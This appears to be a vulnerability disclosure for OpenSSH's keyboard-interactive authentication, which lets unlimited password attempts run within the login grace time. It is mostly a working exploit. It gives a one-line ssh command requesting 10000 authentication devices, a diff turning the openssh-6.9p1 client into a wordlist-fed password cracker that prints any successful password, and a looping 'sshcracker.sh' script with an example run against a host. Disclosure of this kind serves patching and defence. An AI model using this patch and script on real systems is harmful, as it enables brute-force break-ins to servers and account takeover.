OpenSSH Two Minute Cracking Window

`OpenSSH has a default value of six authentication tries before it will  
close the connection (the ssh client allows only three password  
entries per default).  
  
With this vulnerability an attacker is able to request as many  
password prompts limited by the “login graced time” setting, that is  
set to two minutes by default.  
  
Especially FreeBSD systems are affected by the vulnerability because  
they have keyboard-interactive authentication enabled by default.  
  
A simple way to exploit the bug is to execute this command:  
  
ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x  
10000'` targethost  
  
This will effectively allow up to 10000 password entries limited by  
the login grace time setting.  
  
The crucial part is that if the attacker requests 10000  
keyboard-interactive devices openssh will gracefully execute the  
request and will be inside a loop to accept passwords until the  
specified devices are exceeded.  
  
Here is a patch for openssh-6.9p1 that will allow to use a wordlist  
and any passwords piped to the ssh process to be used in order to  
crack passwords remotely.  
  
---snip---  
  
diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c  
83a84,85  
> char password[1024];  
>  
510c512,517  
< authctxt->success = 1; /* break out */  
---  
> printf("==============================================\n");  
> printf("*** SUCCESS **********************************\n");  
> printf("*** PASSWORD: %s\n", password);  
> printf("==============================================\n");  
> exit(0);  
>  
1376a1384,1385  
> char *devicebuffer;  
> int i;  
1386a1396,1405  
> devicebuffer = calloc(1, 200000);  
> if (!devicebuffer) {  
> fatal("cannot allocate devicebuffer");  
> }  
>  
> for (i=0;i<200000-2;i+=2) {  
> memcpy(devicebuffer + i, "p,", 2);  
> }  
> devicebuffer[200000] = 0;  
>  
1393,1394c1412  
< packet_put_cstring(options.kbd_interactive_devices ?  
< options.kbd_interactive_devices : "");  
---  
> packet_put_cstring(devicebuffer);  
1408c1426  
< char *name, *inst, *lang, *prompt, *response;  
---  
> char *name, *inst, *lang, *prompt;  
1410c1428  
< int echo = 0;  
---  
> char *pos;  
1425a1444  
>  
1430a1450  
>  
1443,1449c1463,1469  
< echo = packet_get_char();  
<  
< response = read_passphrase(prompt, echo ? RP_ECHO : 0);  
<  
< packet_put_cstring(response);  
< explicit_bzero(response, strlen(response));  
< free(response);  
---  
> packet_get_char();  
> if (fgets(password, 1024, stdin) == NULL)  
> exit(0);  
> if ((pos=strchr(password, '\n')) != NULL)  
> *pos = '';  
> printf("%s\n", password);  
> packet_put_cstring(password);  
  
---snip---  
  
After applying the patch you can use this shell script to make the  
password attack from a wordlist:  
  
---snip---  
  
#!/bin/bash  
# run as:  
# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target  
#  
while true  
do  
./ssh -l$1 $2  
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi  
echo Respawn due to login grace time...  
done  
  
---snip---  
  
For example enter this command:  
  
cat wordlist.txt | ./sshcracker.sh test 192.168.2.173  
  
The attack has been tested against a new FreeBSD 10.1 system and older  
FreeBSD versions such as version 6.2.  
  
  
`